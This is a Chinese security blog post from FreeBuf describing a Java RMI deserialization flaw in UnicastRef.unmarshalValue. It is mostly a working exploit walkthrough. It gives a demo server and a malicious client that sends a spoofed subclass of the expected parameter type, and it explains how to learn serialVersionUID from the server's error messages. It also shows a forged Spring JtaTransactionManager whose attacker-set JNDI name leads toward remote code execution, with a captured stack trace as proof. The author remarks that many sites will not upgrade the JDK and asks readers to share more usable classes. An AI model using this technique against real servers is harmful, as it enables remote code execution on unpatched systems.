*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载
本打算慢慢写出来的,但前几天发现国外有研究员发了一篇关于这个CVE的文章,他和我找到的地方很相似。然而不知道是不是Oracle认为是同一个漏洞然后合并了CVE,还是说我找错了CVE。
总之,先简单描述一下漏洞:对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。听起来可能有点绕,请往下看。
就直接上问题代码了。在Java RMI的 sun.rmi.server.UnicastRef类中,有如下一段代码:
300 protected static Object More ...unmarshalValue(Class<?> type, ObjectInput in) 301 throws IOException, ClassNotFoundException 302 { 303 if (type.isPrimitive()) { 304 if (type == int.class) { 305 return Integer.valueOf(in.readInt()); 306 } else if (type == boolean.class) { 307 return Boolean.valueOf(in.readBoolean()); 308 } else if (type == byte.class) { 309 return Byte.valueOf(in.readByte()); 310 } else if (type == char.class) { 311 return Character.valueOf(in.readChar()); 312 } else if (type == short.class) { 313 return Short.valueOf(in.readShort()); 314 } else if (type == long.class) { 315 return Long.valueOf(in.readLong()); 316 } else if (type == float.class) { 317 return Float.valueOf(in.readFloat()); 318 } else if (type == double.class) { 319 return Double.valueOf(in.readDouble()); 320 } else { 321 throw new Error("Unrecognized primitive type: " + type); 322 } 323 } else { 324 return in.readObject(); 325 } 326 }
看324行,如果你熟悉java反序列化漏洞,看到此你应该就可以激动了。该代码直接调用readObject,且在原生Java类里。结合2016 black hat上那个spring-tx.jar或者之前apache common中的类,都可以实现远程代码执行。spring-tx里的那个我实验成功了,且Spring rmi中继承了这个漏洞。但Spring team表示不修,和他们没关系。。。
其实写到这,很多技术大牛已经可以自己找出怎么黑了。下面只是简单写写我如何通过正常Java RMI程序来攻击的,因为我觉得这招还是比较淫荡的。
以下是一个正常的服务器端接口,接口参数为Message对象,Message对象是要被序列化的对象:
public interface Services extends java.rmi.Remote { String sendMessage(Message msg) throws RemoteException; } public class Message implements Serializable { private String msg; public Message() { } public String getMessage() { System.out.println("Processing message: "+msg); return msg; } public void setMessage(String msg) { this.msg = msg; } /* * server will tell the serialVersionUID for first run, then just put it below */ private final static long serialVersionUID = 1311618551071721443L; }
服务器端程序,sendMessage 接口实现只是调用getMessage打印字符串 :
public class RMIServer implements Services { public RMIServer() throws RemoteException { } public static void main(String args[]) throws Exception { System.out.println("RMI server started"); RMIServer obj = new RMIServer(); try { Services stub = (Services) UnicastRemoteObject.exportObject(obj,0); Registry reg; try { reg = LocateRegistry.createRegistry(1099); System.out.println("java RMI registry created."); } catch(Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } reg.rebind("RMIServer", stub); } catch (RemoteException e) { e.printStackTrace(); } } @Override public String sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
假设服务器端类路径里还存在一个PublicKnown类,比如spring或者apache common包里的某个类:)。这种类大部分情况下会被开发人员会一起打包进项目,但从来不用:
package org.xfei.thirdparty; public class PublicKnown implements Serializable { private void readObject(java.io.ObjectInputStream stream) throws ClassNotFoundException, IOException { stream.defaultReadObject(); System.out.println("Server object initializing....."); } }
如上,该类自己实现了一个readObject方法,用来做XXX事情。。。
以下是正常的客户端代码:
public class RMIClient { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1"); Services obj = (Services) registry.lookup("RMIServer"); Message normal = new Message(); normal.setMessage("Hello"); System.out.println(obj.sendMessage(normal)); } }
输出我就不放了,就是打印个Hello。
好了,如何攻击呢?
首先在客户端程序里当然要有Message类,而Message类基本应该是公开已知的。然后,虽然Spring tx和Apache common都是开源的,但我们先假设攻击者不知道源代码,但知道 PublicKnown 的类名和包名,于是他在客户端里构建如下的一个类:
package org.xfei.thirdparty; import java.io.IOException; import java.io.Serializable; import org.xfei.pojo.Message; public class PublicKnown extends Message implements Serializable{ private final static long serialVersionUID = 7179259861090880402L; }
重点是包名,类名必须一致,且继承Message,serialVersionUID可以先不知道,之后能找出来。
然后改一改客户端程序:
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import org.xfei.pojo.Message; import org.xfei.thirdparty.PublicKnown; public class RMIClient { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1"); Services obj = (Services) registry.lookup("RMIServer"); PublicKnown malicious = new PublicKnown(); malicious.setMessage("haha"); System.out.println(obj.sendMessage(malicious)); } }
服务器端端的输出如下(直接从报告里拷贝过来的截图):
也就是说,服务器端在接收到客户端发送的对象后会按PublicKnown类来反序列化,然后调用 PublicKnown的 readObject方法。
至此,如何配合Spring-tx.jar里的那个JtaTransactionManager类实现远程代码执行我想大家也知道了。把 JtaTransactionManager 源代码抄一份,让其继承Message类或者实现Message实现了的接口(如果有)就行。两种我都试验过可行。哦,对了,在 JtaTransactionManager中你还需要控制userTransactionName变量的值,直接写在客户端代码里就行了,神奇的服务器端会用客户端提供的变量值和服务器端定义的readObject去执行。
还剩最后一个问题,serialVersionUID怎么得到?在我实验的时候,第一次发 PublicKnown类过去的时候不要包含这个变量,服务器端会返回一个错误信息给你,错误信息里会带有这个值。。。。。。
且根据不同的错误信息,你还可以知道你的目标类是否存在于服务器的类路径里。
虽然Oracle已经发了补丁,但我打赌很多地方是不会升级JDK的。。。。
要是有类似于 JtaTransactionManager这种可以配合使用的类,还请大家共享一下呀!
忽略里面和spring相关的包,那些是为了下面的例子在做准备。 这个例子中的 代码都是拷贝上面我贴的。你还可以在服务器端的PublicKnown中加个本地变量,并在readObject方法中输出,然后在客户端的PublicKnown中加个同样的变量,赋值,传到服务器端,你会看到变量值会在服务器端被输出出来。
上面也提到不知道服务器端的 serialVersionUID,但 服务器端会在出现任何异常的情况下把异常信息返回到客户端 ,如下:
例子2:利用JtaTransactionManager进行JNDI注入的例子:
返回到客户端的部分异常信息(我懒,没有挂个对象在8080端口):
Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: java.net.ConnectException: Connection refused: connect] at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574) at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448) at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206) .................................. at org.xfei.client.RMIClient.main(RMIClient.java:19) Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: java.net.ConnectException: Connection refused: connect] at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source) at javax.naming.InitialContext.lookup(Unknown Source) at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155) at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87) at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152) at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179) at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571) at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448) ................................................................. Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: java.net.ConnectException: Connection refused: connect at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source) at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source) at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source) at sun.rmi.server.UnicastRef.newCall(Unknown Source) at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source) ... 31 more Caused by: java.net.ConnectException: Connection refused: connect at java.net.DualStackPlainSocketImpl.connect0(Native Method) at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source) at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source) at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source) at java.net.AbstractPlainSocketImpl.connect(Unknown Source) at java.net.PlainSocketImpl.connect(Unknown Source) at java.net.SocksSocketImpl.connect(Unknown Source) at java.net.Socket.connect(Unknown Source) at java.net.Socket.connect(Unknown Source) at java.net.Socket.<init>(Unknown Source) at java.net.Socket.<init>(Unknown Source) at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source) at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source) ... 36 more
客户端的 JtaTransactionManager代码如下:
package org.springframework.transaction.jta; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.util.List; import java.util.Properties; import javax.naming.NamingException; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.xfei.pojo.Message; @SuppressWarnings("serial") public class JtaTransactionManager extends Message implements Serializable { public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction"; public final static long serialVersionUID = 4720255569299536580L; private String userTransactionName; public void setUserTransactionName(String userTransactionName) { this.userTransactionName = userTransactionName; } }
Message有稍做修改:
package org.xfei.pojo; import java.io.Serializable; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.support.AbstractPlatformTransactionManager; import org.springframework.transaction.support.DefaultTransactionStatus; public class Message extends AbstractPlatformTransactionManager implements Serializable { private String msg; public Message() { } public String getMessage() { System.out.println("Processing message: "+msg); return msg; } public void setMessage(String msg) { this.msg = msg; } /* * server will tell the serialVersionUID for first run, then just put it below */ private final static long serialVersionUID = 1311618551071721443L; @Override protected void doBegin(Object arg0, TransactionDefinition arg1) { // TODO Auto-generated method stub } @Override protected void doCommit(DefaultTransactionStatus arg0) { // TODO Auto-generated method stub } @Override protected Object doGetTransaction() { // TODO Auto-generated method stub return null; } @Override protected void doRollback(DefaultTransactionStatus arg0) { // TODO Auto-generated method stub } }
我以前的例子是在Spring RMI中测试的,做起来比这个顺利多了。这次是单独建Java项目测试。。。。
需要主意以下几点:
1,当你把假的 JtaTransactionManager对象发到服务器端的时候,服务器端其实也要各种初始化,所以会依赖到各种Spring的包,还有一个Apapche common的logger以及jta包。所以服务器端不是单有个Spring-tx.jar就能成功攻击的,但Spring项目里这几个依赖包出现的几率比spring-tx.jar高得多。
2,客户端编译的时候似乎也依赖几个类,我直接把所有spring jar包都放进去了。
3,看到截图,有的小伙伴可能会质疑这个是客户端编译的错误。其实我刚运行出来的时候也这么质疑的。。。但这其实是服务器端发过来的异常信息。
首先,initUserTransactionAndTransactionManager是被调用了的.。这个方法只会是在readObject中被调用,客户端哪里有调用 readObject ?
其次,客户端 JtaTransactionManager代码我是改过的,根本没有相关代码。
最后,客户端jar包里的 JtaTransactionManager类我已经删了: